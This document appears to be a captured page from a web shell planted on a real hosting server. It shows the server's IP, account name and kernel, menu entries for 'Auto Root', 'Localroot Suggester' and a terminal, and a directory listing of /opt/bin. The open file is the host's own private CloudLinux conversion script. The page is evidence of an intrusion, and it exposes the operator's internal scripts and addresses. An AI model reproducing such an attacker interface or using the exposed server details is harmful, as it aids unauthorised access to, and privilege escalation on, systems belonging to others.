Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
cron
[ DIR ]
drwxr-xr-x
2025-07-23 04:12
add-pgsql-ipv6-support.sh
564
B
-rwxr-xr-x
2022-09-28 10:30
allow_cl.sh
3.3
KB
-rwxr-xr-x
2024-03-05 16:15
auth-removal.sh
1.95
KB
-rwx------
2023-01-23 13:29
block_ssh.sh
1.15
KB
-rwxr-xr-x
2023-05-23 21:01
cfm_control
4.65
KB
-rwxr-xr-x
2024-03-28 12:14
check_autossl_excluded.sh
6.88
KB
-rwxr-xr-x
2023-05-22 11:59
convert_to_clos.sh
5.73
KB
-rwxr-xr-x
2023-02-09 14:50
convert_to_core.sh
276
B
-rwx------
2025-04-01 06:33
disable_cpbackups.sh
1.39
KB
-rwxr-xr-x
2024-10-10 07:11
domain_check.py
6.24
KB
-rwxr-xr-x
2024-08-27 10:40
grubinst6.sh
230
B
-rwxr-xr-x
2022-10-27 11:41
grubinst7.sh
323
B
-rwxr-xr-x
2024-01-24 12:57
install-ipa.sh
2
KB
-rwxr-xr-x
2024-09-26 04:24
install-ipa.sh.bak
2.37
KB
-rwxr-xr-x
2023-07-05 13:07
install_cloudlinux.sh
1.31
KB
-rwxr-xr-x
2022-09-29 15:30
install_csf.sh
2.91
KB
-rwx------
2023-05-08 10:57
install_elasticsearch.sh
2.19
KB
-rwx------
2022-07-25 14:24
install_litespeed.sh
4.33
KB
-rwx------
2024-06-13 10:28
install_multiphp.sh
976
B
-rwx------
2022-10-10 14:55
install_redis.sh
709
B
-rwx------
2022-09-28 10:30
ipmicfg
429.04
KB
-rwxr-xr-x
2023-10-04 10:59
lets_encrypt_accept.sh
306
B
-rwxr-xr-x
2024-05-14 09:32
mailqueue_check.sh
1.65
KB
-rwxr-xr-x
2022-04-11 09:40
mysql_minor_upgrade.sh
9.33
KB
-rwxr-xr-x
2024-09-11 17:25
server-scripts_deployer.sh
13.54
KB
-rwxr-xr-x
2024-03-28 12:59
set_autossl_onlynotify_expiry.sh
1.91
KB
-rwxr-xr-x
2022-09-14 08:37
updatecfips.sh
1.62
KB
-rwxr-xr-x
2023-05-22 11:59
wp_plugin_scan.py
14.8
KB
-rw-------
2025-01-21 11:31
Save
Rename
#!/bin/sh # Prechecks if [[ ! -f /root/clos_install ]] ; then # Prechecks echo "Confirming CloudLinux isn't already installed..." if rpm -q --quiet cloudlinux-release ; then echo "Error - CloudLinux is already installed. This script is not meant to be ran on systems already using CloudLinux." exit fi if rpm -q --quiet cagefs; then echo "Error - CageFS is already installed. This script is not meant to be ran on systems already using CloudLinux." exit fi if rpm -q --quiet imunify360-firewall ; then echo "Error - Imunify360 is already installed. This script is not meant to be ran on systems already using Imunify360." exit fi echo "Prechecks are done - everything looks.... good." echo "Installing CloudLinux" curl -o /root/cldeploy https://repo.cloudlinux.com/cloudlinux/sources/cln/cldeploy chmod +x /root/cldeploy echo "y" | /root/cldeploy -i echo "CloudLinux should now be installed.... however, we need to reboot to the CL kernel before we continue... so let's do that now.... When it comes back, re-run the /opt/bin/convert_to_clos.sh script" touch /root/clos_install reboot exit fi echo "... and we're back! Setting the LVE limits to unlimited by default" # Disable LVE by default lvectl package-set all --unlimited lvectl set default --unlimited echo "Installing CageFS" yum install cagefs -y /usr/sbin/cagefsctl --init /usr/sbin/cagefsctl --enable-all echo "Installing alt-php" yum groupinstall alt-php -y /usr/local/bin/ea_install_profile --install /etc/cpanel/ea4/profiles/custom/A2-lsapi-multiphp.json cagefsctl --cl-selector-reset-versions echo "Installing alt-python" yum groupinstall alt-python -y yum install lvemanager lve-utils alt-python-virtualenv -y yum install ea-ruby27-mod_passenger -y cloudlinux-selector set --json --interpreter=python --selector-status=enabled # Enable it by default echo "Installing alt-ruby" yum groupinstall alt-ruby -y yum install ea-apache24-alt_mod_passenger -y cloudlinux-config set --json --data '{"options":{"uiSettings":{"hideRubyApp":false}}}' # Enable it by default echo "Configuring mod_lsapi" /usr/bin/switch_mod_lsapi --setup echo "Setting default PHP to ea-php74" /usr/local/cpanel/bin/rebuild_phpconf --default=ea-php74 echo "Adding the extra files to CageFS" echo "/var/lib/mysql" >> /etc/cagefs/cagefs.mp /usr/sbin/cagefsctl --remount-all /usr/sbin/cagefsctl --force-update echo "Setting all PHP versions to use mod_lsapi" /usr/local/cpanel/bin/rebuild_phpconf --current | egrep '^ea-|^alt' | awk '{print $1;}' > /tmp/phpversions.txt for i in `cat /tmp/phpversions.txt` ; do /usr/local/cpanel/bin/rebuild_phpconf --$i=lsapi; done # Changing all PHP versions to use mod_lsapi for i in `cat /tmp/phpversions.txt` ; do whmapi1 php_ini_set_directives directive-1=max_execution_time:300 directive-2=max_input_time:-1 directive-3=memory_limit:1024M directive-4=post_max_size:128M directive-5=upload_max_filesize:128M directive-6=allow_url_fopen:on directive-7=max_input_vars:10000 version=$i ; done # Setting default PHP settings for each version rm -f /tmp/phpversions.txt echo "Installing MySQL Governor" MYSQL_VERSION=`grep mysql-version= /var/cpanel/cpanel.config | awk -F "=" '{print $2}'` if [ $MYSQL_VERSION == "5.6" ]; then DBG_VERSION="mysql56" fi if [ $MYSQL_VERSION == "5.7" ]; then DBG_VERSION="mysql57" fi if [ $MYSQL_VERSION == "8.0" ]; then DBG_VERSION="mysql80" fi if [ $MYSQL_VERSION == "10.0" ]; then DBG_VERSION="mariadb100" fi if [ $MYSQL_VERSION == "10.1" ]; then DBG_VERSION="mariadb101" fi if [ $MYSQL_VERSION == "10.2" ]; then DBG_VERSION=:"mariadb102" fi if [ $MYSQL_VERSION == "10.3" ]; then DBG_VERSION="mariadb103" fi if [ $MYSQL_VERSION == "10.4" ]; then DBG_VERSION="mariadb104" fi if [ $MYSQL_VERSION == "10.5" ]; then DBG_VERSION="mariadb105" fi if [ $MYSQL_VERSION == "10.6" ]; then DBG_VERSION="mariadb106" fi if [[ -v DBG_VERSION ]]; then yum install governor-mysql -y /usr/share/lve/dbgovernor/mysqlgovernor.py --mysql-version=$DBG_VERSION /usr/share/lve/dbgovernor/mysqlgovernor.py --install --yes else echo "Unable to determine MySQL version - skipping MySQL governor" fi # Skip CloudLinux Wizard mv /var/lve/wizard/is_first_installation.flag /var/lve/wizard/done.flag echo "Uninstalling CSF" /etc/csf/uninstall.sh echo "Installing Imunify360" wget https://repo.imunify360.cloudlinux.com/defence360/i360deploy.sh echo "y" | bash i360deploy.sh service imunify360 stop # Let's sync salt before starting Imunify360 rm -fv /etc/sysconfig/imunify360/imunify360.config.d/10_on_first_install.config >> /var/log/a2-cpanel-config.log 2>&1 # Remove default configuration files rm -fv /etc/sysconfig/imunify360/imunify360.config.d/90-local.config >> /var/log/a2-cpanel-config.log 2>&1 # Remove default configuration file echo "Enabling malware scanner" /usr/bin/imunify360-agent feature-management enable --feature av # Turn on malware scanner for all new users /usr/bin/imunify360-agent feature-management enable --feature av --users $USER_NAME # Turn on malware scanner for main cPanel user echo "Installing KernelCare" curl -s https://repo.cloudlinux.com/kernelcare/kernelcare_install.sh | bash kcarectl --update echo "Running salt to sync all of our configs.... and hope for the best." salt-call state.apply echo "Syncing CSF configs to Imunify360." grep -v "#" /etc/csf/a2_allow/a2_customers.allow >> /etc/imunify360/a2_customers.allow echo "Restarting Imunify360 with the updated configs" service imunify360 restart echo "Waiting 30 secoinds for Imunify to start up" sleep 30 /app/bin/port_add.py # Add custom Imunify port configs" rm -rf /etc/csf echo "Conversion has been completed. It should now include: CloudLinux, CageFS, alt-php, alt-python, alt-ruby, mod_lsapi, DB Governor and Imunify360." exit